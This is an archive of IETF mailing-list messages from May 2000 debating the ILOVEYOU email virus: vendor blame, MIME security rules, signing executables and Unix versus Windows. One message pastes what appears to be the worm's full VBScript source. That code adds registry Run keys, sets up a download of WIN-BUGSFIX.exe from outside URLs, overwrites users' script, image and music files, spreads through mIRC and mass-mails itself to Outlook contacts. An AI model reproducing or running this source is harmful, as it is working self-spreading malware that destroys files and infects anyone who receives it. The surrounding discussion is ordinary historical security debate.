> In-Reply-To:  <200005031840.NAA29189@benjamin.lisco.com>
> Content-Transfer-Encoding:  7bit
> X-Loop:  ietf@ietf.org
> Content-Transfer-Encoding:  7bit
> >The is an e-mail virus going around. The subject of the e-mail is
> >ILOVEYOU...I suggest you delete it the moment you receive it.
> >
> >-Scot Mc Pherson, N2UPA
> >-Sr. Network Analyst
> >-ClearAccess Communications
> >-Ph: 941.744.5757 ext. 210
> >-Fax: 941.744.0629
> >-mailto:smcpherson@clearaccess.net
> >-http://www.clearaccess.net
> >
>

A. James Lewis (james@fsck.co.uk)
Don't throw your computers out of the windows,
throw the Windows(tm) out of your computers.




From owner-ietf-outbound  Thu May  4 17:00:37 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA17362
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 17:00:03 -0400 (EDT)
Received: from peace.off.org (root@peace.off.org [198.58.4.4])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA16946
	for <ietf@ietf.org>; Thu, 4 May 2000 16:50:01 -0400 (EDT)
Received: (from tex@localhost)
	by peace.off.org (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id MAA16125;
	Thu, 4 May 2000 12:51:21 -0700
Date: Thu, 4 May 2000 12:51:20 -0700
From: Austin Schutz <tex@gblx.net>
To: Keith Moore <moore@cs.utk.edu>
Cc: Lillian Komlossy <Lillian@dmnews.com>,
        "'isp-wireless@isp-wireless.com'" <isp-wireless@isp-wireless.com>,
        "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: THe Value Of Following Standards... (was Re: VIRUS WARNING)
Message-ID: <20000504125120.A15809@off.org>
References: <983B9A17F5EBD311905600D0B73EA0DE03D8F0@mail.dmnews.com> <200005041744.NAA23364@astro.cs.utk.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <200005041744.NAA23364@astro.cs.utk.edu>
X-Loop: ietf@ietf.org

> 
> the builders of the titanic didn't know that certain kinds of steel 
> become brittle at cold temperatures.  
> 
> otoh, the developers of this user agent knew, or should have known, 
> the risks of executing code of unknown origin.  they have been 
> understood for a long time.  they were discussed during development
> of the MIME standard. the MIME specs have required content-types to 
> document known security risks since the early 1990s. other email-borne
> viruses have used similar mechanisms to this one to propagte themselves.
> 
	So if the users would save the virus to disk and then run it,
what's the savings? If I send a naked_bunnies.exe file to a dirty joke
email list, some people are going to run it no matter what warnings are given
or whether or not it's zipped and uuencoded, whatever. If 20% of the people
receiving a virus propagate it rather than 50%, that's probably still good
enough to be significantly detrimental.
	You could have senders sign any executables. That might help a little,
as long as the sender's machine hasn't been compromised.

	Austin



From owner-ietf-outbound  Thu May  4 17:10:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA17737
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 17:10:02 -0400 (EDT)
Received: from localhost.localdomain (thibault.org [207.8.144.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA17515
	for <ietf@ietf.org>; Thu, 4 May 2000 17:01:40 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id RAA03235
	for <ietf@ietf.org>; Thu, 4 May 2000 17:01:15 -0400
Sender: francis@localhost.localdomain
Message-ID: <3911E51B.28106AAE@ecal.com>
Date: Thu, 04 May 2000 17:01:15 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: value of standards
References: <200005041925.PAA02220@astro.cs.utk.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Keith Moore wrote:

> Perhaps unfortunately, RFC 2046 doesn't come right out and say
> "DON'T EXECUTE CONTENT IN EMAIL MESSAGES".
>
> Then again, it doesn't say DON'T CUT YOUR CUSTOMER'S ARM OFF either.

Don't be silly; a vendor would never cut a customer's arm off.  How would
they pull out their wallet to pay for the next upgrade?

--
/===============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own. |
|Chief Scientist |==============================================|
|eCal Corp.      |Some days, it just doesn't pay to gnaw through|
|francis@ecal.com|the straps.                                   |
\===============================================================/





From owner-ietf-outbound  Thu May  4 17:20:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA18150
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 17:20:05 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA17828
	for <ietf@ietf.org>; Thu, 4 May 2000 17:11:41 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id RAA02938;
        Thu, 4 May 2000 17:11:32 -0400 (EDT)
Message-Id: <200005042111.RAA02938@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Austin Schutz <tex@gblx.net>
cc: Keith Moore <moore@cs.utk.edu>, Lillian Komlossy <Lillian@dmnews.com>,
        "'isp-wireless@isp-wireless.com'" <isp-wireless@isp-wireless.com>,
        "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: THe Value Of Following Standards... (was Re: VIRUS WARNING) 
In-reply-to: Your message of "Thu, 04 May 2000 12:51:20 PDT."
             <20000504125120.A15809@off.org> 
Date: Thu, 04 May 2000 17:11:32 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

>         So if the users would save the virus to disk and then run it,
> what's the savings? 

the virus doesn't propagate as quickly, nor to as many people,
before it is detected and countermeasures are put in place.
yes, this does make a significant difference.

>         You could have senders sign any executables. That might help a little,
> as long as the sender's machine hasn't been compromised.
 
this would also help, but we'd need a better way to verify the sender's 
signature than we have now.

Keith



From owner-ietf-outbound  Thu May  4 17:30:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA18563
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 17:30:02 -0400 (EDT)
Received: from apollo.dmnews.com (mail.dmnews.com [204.141.161.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18231
	for <ietf@ietf.org>; Thu, 4 May 2000 17:21:41 -0400 (EDT)
Received: by mail.dmnews.com with Internet Mail Service (5.5.2448.0)
	id <HNLHM42P>; Thu, 4 May 2000 17:28:10 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03D8F6@mail.dmnews.com>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'jdunn@yipes.com'" <jdunn@yipes.com>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 4 May 2000 17:28:09 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Let's not make it political. We've all been attacked, it is pointless
to bring in the Unix vs Windows debate. Office, Windows, Unix, Linux, Mac 
are all great as long as somebody likes to work with them. 
I personally like Microsoft products, but I respect those who don't - and
expect the same respect from them.

Lillian Komlossy                     
Site Manager                         
http://www.dmnews.com           
http://www.imarketingnews.com  
(212) 925-7300 ext. 232 


-----Original Message-----
From: Jim Stephenson-Dunn [mailto:jdunn@yipes.com]
Sent: Thursday, May 04, 2000 4:18 PM
To: 'A James Lewis'; 'Lillian Komlossy'
Cc: ietf@ietf.org
Subject: RE: VIRUS WARNING 


Office for Unix, Now there's a terrifying thought !!!!

(please don't contaminate the purity of my unix system with that filthy
windows software)

Jim

Jim Dunn

Senior Network Engineer
San Francisco NOC



-----Original Message-----
From: A James Lewis [mailto:james@fsck.co.uk]
Sent: Thursday, May 04, 2000 11:53 AM
To: Lillian Komlossy
Cc: 'ietf@ietf.org'
Subject: RE: VIRUS WARNING



The whole world will use what they are presented with.... the difference
between Win3.1 and Win95 is far greater than the difference between Win95
and GNOME or KDE... so actually it's only software availability thats
holding back IS departments the world over!

If MS gets split, we could have Office for UNIX sooner rather than
later too!

On Thu, 4 May 2000, Lillian Komlossy wrote:

> Donald,
>
> The whole world will not switch over to Unix
> - the average user will always be more confortable with Windows
> unless Unix will at one point offer the same  seamless user-friendliness.
> So it will always be a problem, one which cannot be solved by telling
> others not to use what they've accustomed to - and one which cannot be
> ignored.
>
>
> Lillian Komlossy
> Site Manager
> http://www.dmnews.com
> http://www.imarketingnews.com
> (212) 925-7300 ext. 232
>
>
> -----Original Message-----
> From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
> Sent: Thursday, May 04, 2000 10:48 AM
> To: ietf@ietf.org
> Subject: Re: VIRUS WARNING
>
>
>
> The whole world does not run software which is a good culture medium
> for email viruses.  I mostly use nice old UNIX software and it would
> take a number of extra steps on my part for some embdedded virus to
> get a chance to run.  If your software automatically executes stuff
> in attachments, you need to change your software, not develope a list
> of subject lines you are freightened of.
>
> Donald
>
> From:  "Scot Mc Pherson" <smcpherson@clearaccess.net>
> To:  <isp-wireless@isp-wireless.com>, <ietf@ietf.org>
> Date:  Thu, 4 May 2000 09:27:19 -0400
> Message-ID:  <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
> Content-Type:  text/plain;
> 	      	charset="iso-8859-1"
> Content-Transfer-Encoding:  7bit
> X-MSMail-Priority:  Normal
> X-MimeOLE:  Produced By Microsoft MimeOLE V5.00.2314.1300
> Importance:  Normal
> In-Reply-To:  <200005031840.NAA29189@benjamin.lisco.com>
> Content-Transfer-Encoding:  7bit
> X-Loop:  ietf@ietf.org
> Content-Transfer-Encoding:  7bit
> >The is an e-mail virus going around. The subject of the e-mail is
> >ILOVEYOU...I suggest you delete it the moment you receive it.
> >
> >-Scot Mc Pherson, N2UPA
> >-Sr. Network Analyst
> >-ClearAccess Communications
> >-Ph: 941.744.5757 ext. 210
> >-Fax: 941.744.0629
> >-mailto:smcpherson@clearaccess.net
> >-http://www.clearaccess.net
> >
>

A. James Lewis (james@fsck.co.uk)
Don't throw your computers out of the windows,
throw the Windows(tm) out of your computers.



From owner-ietf-outbound  Thu May  4 17:41:57 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA18911
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 17:41:48 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA18505
	for <ietf@ietf.org>; Thu, 4 May 2000 17:28:27 -0400 (EDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.02005-0@bells.cs.ucl.ac.uk>; Thu, 4 May 2000 22:28:20 +0100
To: Scot Mc Pherson <smcpherson@clearaccess.net>
cc: ietf <ietf@ietf.org>
Subject: Re: VIRUS WARNING
In-reply-to: Your message of "Thu, 04 May 2000 09:27:19 EDT." <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
Date: Thu, 04 May 2000 22:28:18 +0100
Message-ID: <27655.957475698@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org



"noone ever got fired for buying ibm"

this was ironic coz ibm was expensive, but worked 

someone should get fired for buying someone elses prodiucts
 irony

no class action

just reality checkpoint time...

for a systemic view, 
some stuff is engineered better than other stuff - see mark handly's
excellent letter to the new york times, post melissa

the best reason for diversity is not anti-capitalist, its darwinian.

meanwhile, eres some visaual basic.

j.

============cut here and paste to yor favourite waste disposal===
 filename="LOVE-LETTER-FOR-YOU.TXT"

rem  barok -loveletter(vbe) <i hate go to school>
rem 			by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSK
ernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServ
ices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet 
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw65
87345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546
786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOh
fgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUg
qwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN
-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start 
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)  
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") 
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") 
or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if 
mIRC will"
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run 
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HT
M"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next  
end sub
sub folderlist(folderspec)  
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)  
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next  
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWOR
D"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries
.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries
.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ 
CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? 
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>
"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER
-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,
#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this 
HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>
----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.m
oveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Curr
entVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub



From owner-ietf-outbound  Thu May  4 19:30:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA20932
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 19:30:02 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA20848
	for <ietf@ietf.org>; Thu, 4 May 2000 19:24:35 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id RAA29122
	for ietf@ietf.org  env-from <vjs>;
	Thu, 4 May 2000 17:24:35 -0600 (MDT)
Date: Thu, 4 May 2000 17:24:35 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005042324.RAA29122@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: Re: value of standards
X-Loop: ietf@ietf.org

] From: Keith Moore <moore@cs.utk.edu>

] ...
]        You could have senders sign any executables. That might help a little,
] > as long as the sender's machine hasn't been compromised.
]  
] this would also help, but we'd need a better way to verify the sender's 
] signature than we have now.

It wouldn't help much, unless you are of the religion that believes
authentication implies authorization.  Or don't you think that
today's evil doer could have managed to get the latest virus signed
with some company's key?  My bet is that many among those websites
that are defaced have handy dandy files of ASCII encoded binary
around near the anonymously improved HTML.
   .......


> From: John Stracke <francis@ecal.com>

> > Then again, it doesn't say DON'T CUT YOUR CUSTOMER'S ARM OFF either.
>
> Don't be silly; a vendor would never cut a customer's arm off.  How would
> they pull out their wallet to pay for the next upgrade?

Don't you be silly either; vendors that think that shipping browsers
with ActiveX turned on from most of the Internet don't want or expect
customers to do anything so "un-user-friendly" as explicitly authorizing
payment.  They're happy to infer lack of serous protest as authorization
to debit credit card accounts.  They also value the freedom to innovate
missing arms to reduce protests that are not really serious.

(I'd hate to be the marketoon who coined "freedom to innovate."  It's
already enshrined as one of the all time Newspeak phrases denoting its
opposite...oh, well, that's probably a badge of honor in some circles.)
   .......


> From: Lillian Komlossy <Lillian@dmnews.com>

> Let's not make it political. We've all been attacked, it is pointless
> to bring in the Unix vs Windows debate. Office, Windows, Unix, Linux, Mac 
> are all great as long as somebody likes to work with them. 
> I personally like Microsoft products, but I respect those who don't - and
> expect the same respect from them.

You don't get respect for buying what everyone else buys, and you get the
opposite when you buy and use the infamously worst available.  (Never mind
that one can't be anything except "political" when demanding "respect.")
At this late date anyone admitting using Outlook without coercion is asking
for contempt from anyone whose respect is worth having.  The technical
reasons for that are infamous and too numerous to list here.
 .......


} If MS gets split, we could have Office for UNIX sooner rather than
} later too!

There are already packages similar to Office available for many free and
commercial flavors of UNIX.  At least one major contender even comes with
something supposedly vaguely like free source.  Note that I'm not
recommending those alternatives.  Office is fine for simple documents such
as your resume, provided you take precautions with tools outside Office
to ensure that you're not distributing more text, macros, and other stuff
than meets the eye of the casual reader.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Thu May  4 20:00:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA21521
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 20:00:02 -0400 (EDT)
Received: from peace.off.org (root@peace.off.org [198.58.4.4])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA21444
	for <ietf@ietf.org>; Thu, 4 May 2000 19:57:15 -0400 (EDT)
Received: (from tex@localhost)
	by peace.off.org (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA19083;
	Thu, 4 May 2000 15:58:50 -0700
Date: Thu, 4 May 2000 15:58:50 -0700
From: Austin Schutz <tex@gblx.net>
To: Vernon Schryver <vjs@calcite.rhyolite.com>
Cc: ietf@ietf.org
Subject: Re: value of standards
Message-ID: <20000504155850.B15809@off.org>
References: <200005042324.RAA29122@calcite.rhyolite.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <200005042324.RAA29122@calcite.rhyolite.com>
X-Loop: ietf@ietf.org

On Thu, May 04, 2000 at 05:24:35PM -0600, Vernon Schryver wrote:
> ] From: Keith Moore <moore@cs.utk.edu>
> 
> ] ...
> ]        You could have senders sign any executables. That might help a little,
> ] > as long as the sender's machine hasn't been compromised.
> ]  
> ] this would also help, but we'd need a better way to verify the sender's 
> ] signature than we have now.
> 
> It wouldn't help much, unless you are of the religion that believes
> authentication implies authorization.  Or don't you think that
> today's evil doer could have managed to get the latest virus signed
> with some company's key?  My bet is that many among those websites
> that are defaced have handy dandy files of ASCII encoded binary
> around near the anonymously improved HTML.
>    .......

	The point was that an attachment could be signed by the _message
sender_, not the originator of the file. So any executables you send to your
friends would be signed by _you_. Of course, if _your_ machine has been
compromised then your signature is probably no longer valid and the system
breaks.
	Your friends would thereby give you the authority to run executables
on their system (with their manual assent, of course) assuming your executable
was properly authenticated as having come from you.

	Austin



From owner-ietf-outbound  Thu May  4 20:50:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA22594
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 20:50:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA22357
	for <ietf@ietf.org>; Thu, 4 May 2000 20:40:01 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id UAA08387;
        Thu, 4 May 2000 20:39:44 -0400 (EDT)
Message-Id: <200005050039.UAA08387@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
